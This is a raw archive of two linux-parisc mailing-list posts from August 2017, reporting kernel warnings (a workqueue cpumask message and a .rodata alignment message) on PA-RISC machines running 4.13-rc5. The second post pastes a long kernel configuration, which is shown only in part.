X-Trace: blaine.gmane.org 1502970059 4283 195.159.176.226 (17 Aug 2017 11:40:59 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 17 Aug 2017 11:40:59 +0000 (UTC)
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 17 13:40:54 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1diJAP-00009M-Om
	for glpp-linux-parisc@m.gmane.org; Thu, 17 Aug 2017 13:40:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752898AbdHQLk4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 17 Aug 2017 07:40:56 -0400
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:60059 "EHLO smtp1.it.da.ut.ee"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752894AbdHQLkz (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 17 Aug 2017 07:40:55 -0400
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
        by smtp1.it.da.ut.ee (Postfix) with ESMTP id CCD712074B
        for <linux-parisc@vger.kernel.org>; Thu, 17 Aug 2017 14:40:53 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
        id B7E83221A18; Thu, 17 Aug 2017 14:40:51 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
        by math.ut.ee (Postfix) with ESMTP id D8B032219DF
        for <linux-parisc@vger.kernel.org>; Thu, 17 Aug 2017 14:40:51 +0300 (EEST)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27693
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27693>

I get the following warning in dmegs on my RP3440 with 4.13-rc5+git:
WARNING: workqueue cpumask: online intersect > possible intersect

It's a RP3440 with 4 CPU cores and CONFIG_NR_CPUS=4.

Is it something I have misconfigured, or something harmless, or 
something worth for the developers of this code?

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: hppa: rodata_test: start of .rodata is not page size aligned
Date: Thu, 17 Aug 2017 21:15:48 +0300 (EEST)
Lines: 1564
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1708172113460.7500@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1502993761 5886 195.159.176.226 (17 Aug 2017 18:16:01 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 17 Aug 2017 18:16:01 +0000 (UTC)
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 17 20:15:50 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1diPKe-0000bu-9s
	for glpp-linux-parisc@m.gmane.org; Thu, 17 Aug 2017 20:15:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752820AbdHQSPz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 17 Aug 2017 14:15:55 -0400
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:46872 "EHLO smtp2.it.da.ut.ee"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752270AbdHQSPx (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 17 Aug 2017 14:15:53 -0400
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
        by smtp2.it.da.ut.ee (Postfix) with ESMTP id 848A473D714
        for <linux-parisc@vger.kernel.org>; Thu, 17 Aug 2017 21:15:50 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
        id 68304221A18; Thu, 17 Aug 2017 21:15:48 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
        by math.ut.ee (Postfix) with ESMTP id 838F02219DF
        for <linux-parisc@vger.kernel.org>; Thu, 17 Aug 2017 21:15:48 +0300 (EEST)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27694
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27694>

Today I compiled 4.13-rc5+git on my farm on on one of my parisc boxes I 
got the following warning in dmesg:

rodata_test: start of .rodata is not page size aligned

Config:
#
# Automatically generated file; DO NOT EDIT.
# Linux/parisc 4.13.0-rc5 Kernel Configuration
#
CONFIG_PARISC=y
CONFIG_CPU_BIG_ENDIAN=y
CONFIG_MMU=y
CONFIG_STACK_GROWSUP=y
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_ARCH_HAS_ILOG2_U32 is not set
# CONFIG_ARCH_HAS_ILOG2_U64 is not set
CONFIG_GENERIC_BUG=y
CONFIG_GENERIC_HWEIGHT=y
CONFIG_GENERIC_CALIBRATE_DELAY=y
CONFIG_STACKTRACE_SUPPORT=y
CONFIG_NEED_DMA_MAP_STATE=y
CONFIG_NEED_SG_DMA_LENGTH=y
CONFIG_PGTABLE_LEVELS=3
CONFIG_SYS_SUPPORTS_HUGETLBFS=y
CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"
CONFIG_IRQ_WORK=y
CONFIG_BUILDTIME_EXTABLE_SORT=y

#
# General setup
#
CONFIG_BROKEN_ON_SMP=y
CONFIG_INIT_ENV_ARG_LIMIT=32
CONFIG_CROSS_COMPILE="hppa64-linux-"
# CONFIG_COMPILE_TEST is not set
CONFIG_LOCALVERSION=""
CONFIG_LOCALVERSION_AUTO=y
CONFIG_DEFAULT_HOSTNAME="none"
CONFIG_SWAP=y
CONFIG_SYSVIPC=y
CONFIG_SYSVIPC_SYSCTL=y
CONFIG_POSIX_MQUEUE=y
CONFIG_POSIX_MQUEUE_SYSCTL=y
CONFIG_CROSS_MEMORY_ATTACH=y
CONFIG_FHANDLE=y
# CONFIG_USELIB is not set
# CONFIG_AUDIT is not set
CONFIG_HAVE_ARCH_AUDITSYSCALL=y

#
# IRQ subsystem
#
CONFIG_GENERIC_IRQ_PROBE=y
CONFIG_GENERIC_MSI_IRQ=y
CONFIG_GENERIC_CLOCKEVENTS=y

#
# Timers subsystem
#
CONFIG_TICK_ONESHOT=y
CONFIG_NO_HZ_COMMON=y
# CONFIG_HZ_PERIODIC is not set
CONFIG_NO_HZ_IDLE=y
# CONFIG_NO_HZ is not set
CONFIG_HIGH_RES_TIMERS=y

#
# CPU/Task time and stats accounting
#
CONFIG_TICK_CPU_ACCOUNTING=y
# CONFIG_BSD_PROCESS_ACCT is not set
# CONFIG_TASKSTATS is not set

#
# RCU Subsystem
#
CONFIG_TINY_RCU=y
# CONFIG_RCU_EXPERT is not set
CONFIG_SRCU=y
CONFIG_TINY_SRCU=y
# CONFIG_TASKS_RCU is not set
# CONFIG_RCU_STALL_COMMON is not set
# CONFIG_RCU_NEED_SEGCBLIST is not set
# CONFIG_BUILD_BIN2C is not set
# CONFIG_IKCONFIG is not set
CONFIG_LOG_BUF_SHIFT=17
CONFIG_PRINTK_SAFE_LOG_BUF_SHIFT=13
CONFIG_GENERIC_SCHED_CLOCK=y
CONFIG_CGROUPS=y
# CONFIG_MEMCG is not set
# CONFIG_BLK_CGROUP is not set
# CONFIG_CGROUP_SCHED is not set
# CONFIG_CGROUP_PIDS is not set
# CONFIG_CGROUP_RDMA is not set
# CONFIG_CGROUP_FREEZER is not set
# CONFIG_CGROUP_HUGETLB is not set
# CONFIG_CGROUP_DEVICE is not set
# CONFIG_CGROUP_CPUACCT is not set
# CONFIG_CGROUP_DEBUG is not set
# CONFIG_SOCK_CGROUP_DATA is not set
# CONFIG_CHECKPOINT_RESTORE is not set
CONFIG_NAMESPACES=y
# CONFIG_UTS_NS is not set
# CONFIG_IPC_NS is not set
# CONFIG_USER_NS is not set
# CONFIG_PID_NS is not set
# CONFIG_NET_NS is not set
# CONFIG_SCHED_AUTOGROUP is not set
# CONFIG_SYSFS_DEPRECATED is not set
# CONFIG_RELAY is not set
# CONFIG_BLK_DEV_INITRD is not set
CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE=y
# CONFIG_CC_OPTIMIZE_FOR_SIZE is not set
CONFIG_SYSCTL=y
CONFIG_ANON_INODES=y
CONFIG_SYSCTL_EXCEPTION_TRACE=y
CONFIG_SYSCTL_ARCH_UNALIGN_ALLOW=y
CONFIG_BPF=y
# CONFIG_EXPERT is not set
CONFIG_MULTIUSER=y
CONFIG_SGETMASK_SYSCALL=y
CONFIG_SYSFS_SYSCALL=y
# CONFIG_SYSCTL_SYSCALL is not set
CONFIG_POSIX_TIMERS=y
CONFIG_KALLSYMS=y
# CONFIG_KALLSYMS_ALL is not set
# CONFIG_KALLSYMS_ABSOLUTE_PERCPU is not set
CONFIG_KALLSYMS_BASE_RELATIVE=y
CONFIG_PRINTK=y
CONFIG_BUG=y
CONFIG_ELF_CORE=y
CONFIG_BASE_FULL=y
CONFIG_FUTEX=y
CONFIG_EPOLL=y
CONFIG_SIGNALFD=y
CONFIG_TIMERFD=y
CONFIG_EVENTFD=y
# CONFIG_BPF_SYSCALL is not set
CONFIG_SHMEM=y
CONFIG_AIO=y
CONFIG_ADVISE_SYSCALLS=y
CONFIG_USERFAULTFD=y
CONFIG_PCI_QUIRKS=y
CONFIG_MEMBARRIER=y
# CONFIG_EMBEDDED is not set
CONFIG_HAVE_PERF_EVENTS=y
# CONFIG_PC104 is not set

#
# Kernel Performance Events And Counters
#
# CONFIG_PERF_EVENTS is not set
CONFIG_VM_EVENT_COUNTERS=y
CONFIG_SLUB_DEBUG=y
# CONFIG_COMPAT_BRK is not set
# CONFIG_SLAB is not set
CONFIG_SLUB=y
CONFIG_SLAB_MERGE_DEFAULT=y
# CONFIG_SLAB_FREELIST_RANDOM is not set
# CONFIG_SYSTEM_DATA_VERIFICATION is not set
# CONFIG_PROFILING is not set
CONFIG_HAVE_OPROFILE=y
CONFIG_HAVE_64BIT_ALIGNED_ACCESS=y
CONFIG_HAVE_ARCH_TRACEHOOK=y
CONFIG_GENERIC_SMP_IDLE_THREAD=y
CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y
CONFIG_HAVE_ARCH_SECCOMP_FILTER=y
# CONFIG_CC_STACKPROTECTOR is not set
CONFIG_THIN_ARCHIVES=y
CONFIG_HAVE_VIRT_CPU_ACCOUNTING_GEN=y
CONFIG_HAVE_MOD_ARCH_SPECIFIC=y
CONFIG_MODULES_USE_ELF_RELA=y
CONFIG_ARCH_HAS_ELF_RANDOMIZE=y
CONFIG_HAVE_ARCH_HASH=y
# CONFIG_ISA_BUS_API is not set
CONFIG_CLONE_BACKWARDS=y
CONFIG_ARCH_NO_COHERENT_DMA_MMAP=y
CONFIG_CPU_NO_EFFICIENT_FFS=y
# CONFIG_HAVE_ARCH_VMAP_STACK is not set
# CONFIG_ARCH_OPTIONAL_KERNEL_RWX is not set
# CONFIG_ARCH_OPTIONAL_KERNEL_RWX_DEFAULT is not set
CONFIG_ARCH_HAS_STRICT_KERNEL_RWX=y
CONFIG_STRICT_KERNEL_RWX=y
# CONFIG_ARCH_HAS_STRICT_MODULE_RWX is not set
# CONFIG_REFCOUNT_FULL is not set

#
# GCOV-based kernel profiling
#
# CONFIG_ARCH_HAS_GCOV_PROFILE_ALL is not set
# CONFIG_HAVE_GENERIC_DMA_COHERENT is not set
CONFIG_SLABINFO=y
CONFIG_RT_MUTEXES=y
CONFIG_BASE_SMALL=0
CONFIG_MODULES=y
# CONFIG_MODULE_FORCE_LOAD is not set
CONFIG_MODULE_UNLOAD=y
# CONFIG_MODULE_FORCE_UNLOAD is not set
# CONFIG_MODVERSIONS is not set
# CONFIG_MODULE_SRCVERSION_ALL is not set
# CONFIG_MODULE_SIG is not set
# CONFIG_MODULE_COMPRESS is not set
CONFIG_TRIM_UNUSED_KSYMS=y
CONFIG_INIT_ALL_POSSIBLE=y
CONFIG_BLOCK=y
CONFIG_BLK_SCSI_REQUEST=y
CONFIG_BLK_DEV_BSG=y
# CONFIG_BLK_DEV_BSGLIB is not set
# CONFIG_BLK_DEV_INTEGRITY is not set
# CONFIG_BLK_DEV_ZONED is not set
# CONFIG_BLK_CMDLINE_PARSER is not set
# CONFIG_BLK_WBT is not set
# CONFIG_BLK_SED_OPAL is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
CONFIG_EFI_PARTITION=y
CONFIG_BLOCK_COMPAT=y
CONFIG_BLK_MQ_PCI=y

#
# IO Schedulers
#
CONFIG_IOSCHED_NOOP=y
# CONFIG_IOSCHED_DEADLINE is not set
CONFIG_IOSCHED_CFQ=y
CONFIG_DEFAULT_CFQ=y
# CONFIG_DEFAULT_NOOP is not set
CONFIG_DEFAULT_IOSCHED="cfq"
# CONFIG_MQ_IOSCHED_DEADLINE is not set
# CONFIG_MQ_IOSCHED_KYBER is not set
# CONFIG_IOSCHED_BFQ is not set
CONFIG_INLINE_SPIN_UNLOCK_IRQ=y
CONFIG_INLINE_READ_UNLOCK=y
CONFIG_INLINE_READ_UNLOCK_IRQ=y
CONFIG_INLINE_WRITE_UNLOCK=y
CONFIG_INLINE_WRITE_UNLOCK_IRQ=y
# CONFIG_FREEZER is not set

#
# Processor type and features
#
# CONFIG_PA7000 is not set
# CONFIG_PA7100LC is not set
# CONFIG_PA7200 is not set
# CONFIG_PA7300LC is not set
CONFIG_PA8X00=y
CONFIG_PA20=y
CONFIG_PREFETCH=y
# CONFIG_MLONGCALLS is not set
CONFIG_64BIT=y
CONFIG_PARISC_PAGE_SIZE_4KB=y
# CONFIG_PARISC_PAGE_SIZE_16KB is not set
# CONFIG_PARISC_PAGE_SIZE_64KB is not set
# CONFIG_SMP is not set
CONFIG_IRQSTACKS=y
CONFIG_ARCH_SELECT_MEMORY_MODEL=y
CONFIG_ARCH_DISCONTIGMEM_ENABLE=y
CONFIG_ARCH_FLATMEM_ENABLE=y
CONFIG_ARCH_DISCONTIGMEM_DEFAULT=y
CONFIG_NODES_SHIFT=3
CONFIG_PREEMPT_NONE=y
# CONFIG_PREEMPT_VOLUNTARY is not set
# CONFIG_PREEMPT is not set
CONFIG_PREEMPT_COUNT=y
# CONFIG_HZ_100 is not set
CONFIG_HZ_250=y
# CONFIG_HZ_300 is not set
# CONFIG_HZ_1000 is not set
CONFIG_HZ=250
CONFIG_SCHED_HRTICK=y
CONFIG_SELECT_MEMORY_MODEL=y
# CONFIG_FLATMEM_MANUAL is not set
CONFIG_DISCONTIGMEM_MANUAL=y
CONFIG_DISCONTIGMEM=y
CONFIG_FLAT_NODE_MEM_MAP=y
CONFIG_NEED_MULTIPLE_NODES=y
CONFIG_HAVE_MEMBLOCK=y
CONFIG_NO_BOOTMEM=y
# CONFIG_HAVE_BOOTMEM_INFO_NODE is not set
CONFIG_SPLIT_PTLOCK_CPUS=4
# CONFIG_COMPACTION is not set
CONFIG_PHYS_ADDR_T_64BIT=y
CONFIG_VIRT_TO_BUS=y
# CONFIG_KSM is not set
CONFIG_DEFAULT_MMAP_MIN_ADDR=4096
# CONFIG_ARCH_WANTS_THP_SWAP is not set
CONFIG_NEED_PER_CPU_KM=y
# CONFIG_CLEANCACHE is not set
# CONFIG_FRONTSWAP is not set
# CONFIG_CMA is not set
# CONFIG_ZPOOL is not set
# CONFIG_ZBUD is not set
# CONFIG_ZSMALLOC is not set
CONFIG_MAX_STACK_SIZE_MB=80
# CONFIG_IDLE_PAGE_TRACKING is not set
# CONFIG_PERCPU_STATS is not set
CONFIG_COMPAT=y
CONFIG_SYSVIPC_COMPAT=y
CONFIG_AUDIT_ARCH=y

#
# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
#
# CONFIG_GSC is not set
CONFIG_PCI=y
# CONFIG_PCIEPORTBUS is not set
CONFIG_PCI_BUS_ADDR_T_64BIT=y
CONFIG_PCI_MSI=y
# CONFIG_PCI_MSI_IRQ_DOMAIN is not set
# CONFIG_PCI_DEBUG is not set
# CONFIG_PCI_REALLOC_ENABLE_AUTO is not set
# CONFIG_PCI_STUB is not set
# CONFIG_PCI_IOV is not set
# CONFIG_PCI_PRI is not set
# CONFIG_PCI_PASID is not set
# CONFIG_HOTPLUG_PCI is not set

#
# DesignWare PCI Core Support
#

#
# PCI host controller drivers
#

#
# PCI Endpoint
#
# CONFIG_PCI_ENDPOINT is not set

#
# PCI switch controller drivers
#
# CONFIG_PCI_SW_SWITCHTEC is not set
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_IOMMU_HELPER=y
# CONFIG_PCCARD is not set

#
# PA-RISC specific drivers
#
CONFIG_SUPERIO=y
CONFIG_CHASSIS_LCD_LED=y
CONFIG_PDC_CHASSIS=y
CONFIG_PDC_CHASSIS_WARN=y
CONFIG_PDC_STABLE=y

#
# Executable file formats
#
CONFIG_BINFMT_ELF=y
CONFIG_ELFCORE=y
CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS=y
CONFIG_BINFMT_SCRIPT=y
# CONFIG_HAVE_AOUT is not set
CONFIG_BINFMT_MISC=y
CONFIG_COREDUMP=y
CONFIG_NET=y

#
# Networking options
#
CONFIG_PACKET=y
# CONFIG_PACKET_DIAG is not set
CONFIG_UNIX=y
# CONFIG_UNIX_DIAG is not set
# CONFIG_TLS is not set
CONFIG_XFRM=y
# CONFIG_XFRM_USER is not set
# CONFIG_XFRM_SUB_POLICY is not set
# CONFIG_XFRM_MIGRATE is not set
# CONFIG_XFRM_STATISTICS is not set
# CONFIG_NET_KEY is not set
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
# CONFIG_IP_ADVANCED_ROUTER is not set
# CONFIG_IP_PNP is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE_DEMUX is not set
CONFIG_NET_IP_TUNNEL=m
# CONFIG_IP_MROUTE is not set
CONFIG_SYN_COOKIES=y
# CONFIG_NET_UDP_TUNNEL is not set
# CONFIG_NET_FOU is not set
# CONFIG_NET_FOU_IP_TUNNELS is not set
# CONFIG_INET_AH is not set
# CONFIG_INET_ESP is not set
# CONFIG_INET_IPCOMP is not set
# CONFIG_INET_XFRM_TUNNEL is not set
CONFIG_INET_TUNNEL=m
# CONFIG_INET_XFRM_MODE_TRANSPORT is not set
# CONFIG_INET_XFRM_MODE_TUNNEL is not set
# CONFIG_INET_XFRM_MODE_BEET is not set
# CONFIG_INET_DIAG is not set
# CONFIG_TCP_CONG_ADVANCED is not set
CONFIG_TCP_CONG_CUBIC=y
CONFIG_DEFAULT_TCP_CONG="cubic"
# CONFIG_TCP_MD5SIG is not set
CONFIG_IPV6=y
CONFIG_IPV6_ROUTER_PREF=y
CONFIG_IPV6_ROUTE_INFO=y
CONFIG_IPV6_OPTIMISTIC_DAD=y
# CONFIG_INET6_AH is not set
# CONFIG_INET6_ESP is not set
# CONFIG_INET6_IPCOMP is not set
CONFIG_IPV6_MIP6=m
# CONFIG_INET6_XFRM_TUNNEL is not set
CONFIG_INET6_TUNNEL=m
# CONFIG_INET6_XFRM_MODE_TRANSPORT is not set
# CONFIG_INET6_XFRM_MODE_TUNNEL is not set
# CONFIG_INET6_XFRM_MODE_BEET is not set
CONFIG_INET6_XFRM_MODE_ROUTEOPTIMIZATION=m
CONFIG_IPV6_SIT=m
CONFIG_IPV6_SIT_6RD=y
CONFIG_IPV6_NDISC_NODETYPE=y
CONFIG_IPV6_TUNNEL=m
# CONFIG_IPV6_FOU is not set
# CONFIG_IPV6_FOU_TUNNEL is not set
# CONFIG_IPV6_MULTIPLE_TABLES is not set
# CONFIG_IPV6_MROUTE is not set
# CONFIG_IPV6_SEG6_LWTUNNEL is not set
# CONFIG_IPV6_SEG6_HMAC is not set
# CONFIG_NETWORK_SECMARK is not set
# CONFIG_NET_PTP_CLASSIFY is not set
# CONFIG_NETWORK_PHY_TIMESTAMPING is not set
# CONFIG_NETFILTER is not set
# CONFIG_IP_DCCP is not set
# CONFIG_IP_SCTP is not set
# CONFIG_RDS is not set
# CONFIG_TIPC is not set
# CONFIG_ATM is not set
# CONFIG_L2TP is not set
# CONFIG_BRIDGE is not set
CONFIG_HAVE_NET_DSA=y
# CONFIG_NET_DSA is not set
# CONFIG_VLAN_8021Q is not set
# CONFIG_DECNET is not set
# CONFIG_LLC2 is not set
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_PHONET is not set
# CONFIG_6LOWPAN is not set
# CONFIG_IEEE802154 is not set
# CONFIG_NET_SCHED is not set
# CONFIG_DCB is not set
# CONFIG_BATMAN_ADV is not set
# CONFIG_OPENVSWITCH is not set
# CONFIG_VSOCKETS is not set
CONFIG_NETLINK_DIAG=m
# CONFIG_MPLS is not set
# CONFIG_HSR is not set
# CONFIG_NET_SWITCHDEV is not set
# CONFIG_NET_L3_MASTER_DEV is not set
# CONFIG_NET_NCSI is not set
# CONFIG_CGROUP_NET_PRIO is not set
# CONFIG_CGROUP_NET_CLASSID is not set
CONFIG_NET_RX_BUSY_POLL=y
CONFIG_BQL=y

#
# Network testing
#
# CONFIG_NET_PKTGEN is not set
# CONFIG_HAMRADIO is not set
# CONFIG_CAN is not set
# CONFIG_IRDA is not set
# CONFIG_BT is not set
# CONFIG_AF_RXRPC is not set
# CONFIG_AF_KCM is not set
# CONFIG_STREAM_PARSER is not set
# CONFIG_WIRELESS is not set
# CONFIG_WIMAX is not set
# CONFIG_RFKILL is not set
# CONFIG_NET_9P is not set
# CONFIG_CAIF is not set
# CONFIG_CEPH_LIB is not set
# CONFIG_NFC is not set
# CONFIG_PSAMPLE is not set
# CONFIG_NET_IFE is not set
CONFIG_LWTUNNEL=y
# CONFIG_LWTUNNEL_BPF is not set
CONFIG_DST_CACHE=y
CONFIG_GRO_CELLS=y
# CONFIG_NET_DEVLINK is not set
CONFIG_MAY_USE_DEVLINK=y

#
# Device Drivers
#

#
# Generic Driver Options
#
CONFIG_UEVENT_HELPER=y
CONFIG_UEVENT_HELPER_PATH=""
CONFIG_DEVTMPFS=y
CONFIG_DEVTMPFS_MOUNT=y
CONFIG_STANDALONE=y
CONFIG_PREVENT_FIRMWARE_BUILD=y
CONFIG_FW_LOADER=y
CONFIG_FIRMWARE_IN_KERNEL=y
CONFIG_EXTRA_FIRMWARE=""
# CONFIG_FW_LOADER_USER_HELPER_FALLBACK is not set
CONFIG_ALLOW_DEV_COREDUMP=y
# CONFIG_DEBUG_DRIVER is not set
# CONFIG_DEBUG_DEVRES is not set
# CONFIG_DEBUG_TEST_DRIVER_REMOVE is not set
# CONFIG_TEST_ASYNC_DRIVER_PROBE is not set
# CONFIG_SYS_HYPERVISOR is not set
# CONFIG_GENERIC_CPU_DEVICES is not set
# CONFIG_DMA_SHARED_BUFFER is not set

#
# Bus devices
#
# CONFIG_CONNECTOR is not set
# CONFIG_MTD is not set
# CONFIG_OF is not set
CONFIG_ARCH_MIGHT_HAVE_PC_PARPORT=y
# CONFIG_PARPORT is not set
# CONFIG_BLK_DEV is not set
# CONFIG_BLK_DEV_NVME is not set
# CONFIG_NVME_FC is not set

#
# Misc devices
#
# CONFIG_SENSORS_LIS3LV02D is not set
# CONFIG_DUMMY_IRQ is not set
# CONFIG_PHANTOM is not set
# CONFIG_SGI_IOC4 is not set
# CONFIG_TIFM_CORE is not set
# CONFIG_ENCLOSURE_SERVICES is not set
# CONFIG_HP_ILO is not set
# CONFIG_SRAM is not set
# CONFIG_PCI_ENDPOINT_TEST is not set
# CONFIG_C2PORT is not set

#
# EEPROM support
#
# CONFIG_EEPROM_93CX6 is not set
# CONFIG_CB710_CORE is not set

#
# Texas Instruments shared transport line discipline
#

#
# Altera FPGA firmware download module
#

#
# Intel MIC Bus Driver
#

#
# SCIF Bus Driver
#

#
# VOP Bus Driver
#

#
# Intel MIC Host Driver
#

#
# Intel MIC Card Driver
#

#
# SCIF Driver
#

#
# Intel MIC Coprocessor State Management (COSM) Drivers
#

#
# VOP Driver
#
# CONFIG_GENWQE is not set
# CONFIG_ECHO is not set
# CONFIG_CXL_BASE is not set
# CONFIG_CXL_AFU_DRIVER_OPS is not set
# CONFIG_CXL_LIB is not set
CONFIG_HAVE_IDE=y
# CONFIG_IDE is not set

#
# SCSI device support
#
CONFIG_SCSI_MOD=y
# CONFIG_RAID_ATTRS is not set
CONFIG_SCSI=y
CONFIG_SCSI_DMA=y
# CONFIG_SCSI_NETLINK is not set
# CONFIG_SCSI_PROC_FS is not set

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=y
# CONFIG_CHR_DEV_ST is not set
# CONFIG_CHR_DEV_OSST is not set
# CONFIG_BLK_DEV_SR is not set
# CONFIG_CHR_DEV_SG is not set
# CONFIG_CHR_DEV_SCH is not set
# CONFIG_SCSI_CONSTANTS is not set
# CONFIG_SCSI_LOGGING is not set
# CONFIG_SCSI_SCAN_ASYNC is not set

#
# SCSI Transports
#
CONFIG_SCSI_SPI_ATTRS=y
# CONFIG_SCSI_FC_ATTRS is not set
# CONFIG_SCSI_ISCSI_ATTRS is not set
# CONFIG_SCSI_SAS_ATTRS is not set
# CONFIG_SCSI_SAS_LIBSAS is not set
# CONFIG_SCSI_SRP_ATTRS is not set
CONFIG_SCSI_LOWLEVEL=y
# CONFIG_ISCSI_TCP is not set
# CONFIG_ISCSI_BOOT_SYSFS is not set
# CONFIG_SCSI_CXGB3_ISCSI is not set
# CONFIG_SCSI_CXGB4_ISCSI is not set
# CONFIG_SCSI_BNX2_ISCSI is not set
# CONFIG_BE2ISCSI is not set
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
# CONFIG_SCSI_HPSA is not set
# CONFIG_SCSI_3W_9XXX is not set
# CONFIG_SCSI_3W_SAS is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC79XX is not set
# CONFIG_SCSI_AIC94XX is not set
# CONFIG_SCSI_MVSAS is not set
# CONFIG_SCSI_MVUMI is not set
# CONFIG_SCSI_DPT_I2O is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_ARCMSR is not set
# CONFIG_SCSI_ESAS2R is not set
# CONFIG_MEGARAID_NEWGEN is not set
# CONFIG_MEGARAID_LEGACY is not set
# CONFIG_MEGARAID_SAS is not set
# CONFIG_SCSI_MPT3SAS is not set
# CONFIG_SCSI_MPT2SAS is not set
# CONFIG_SCSI_SMARTPQI is not set
# CONFIG_SCSI_UFSHCD is not set
# CONFIG_SCSI_HPTIOP is not set
# CONFIG_SCSI_SNIC is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
# CONFIG_SCSI_IPS is not set
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_STEX is not set
CONFIG_SCSI_SYM53C8XX_2=y
CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=1
CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16
CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64
CONFIG_SCSI_SYM53C8XX_MMIO=y
# CONFIG_SCSI_QLOGIC_1280 is not set
# CONFIG_SCSI_QLA_ISCSI is not set
# CONFIG_SCSI_DC395x is not set
# CONFIG_SCSI_AM53C974 is not set
# CONFIG_SCSI_WD719X is not set
# CONFIG_SCSI_DEBUG is not set
# CONFIG_SCSI_PMCRAID is not set
# CONFIG_SCSI_PM8001 is not set
# CONFIG_SCSI_DH is not set
# CONFIG_SCSI_OSD_INITIATOR is not set
# CONFIG_ATA is not set
# CONFIG_MD is not set
# CONFIG_TARGET_CORE is not set
# CONFIG_FUSION is not set

#
# IEEE 1394 (FireWire) support
#
# CONFIG_FIREWIRE is not set
# CONFIG_FIREWIRE_NOSY is not set
CONFIG_NETDEVICES=y
CONFIG_NET_CORE=y
# CONFIG_BONDING is not set
# CONFIG_DUMMY is not set
# CONFIG_EQUALIZER is not set
# CONFIG_NET_FC is not set
# CONFIG_NET_TEAM is not set
# CONFIG_MACVLAN is not set
# CONFIG_VXLAN is not set
# CONFIG_MACSEC is not set
CONFIG_NETCONSOLE=y
CONFIG_NETPOLL=y
CONFIG_NET_POLL_CONTROLLER=y
CONFIG_TUN=m
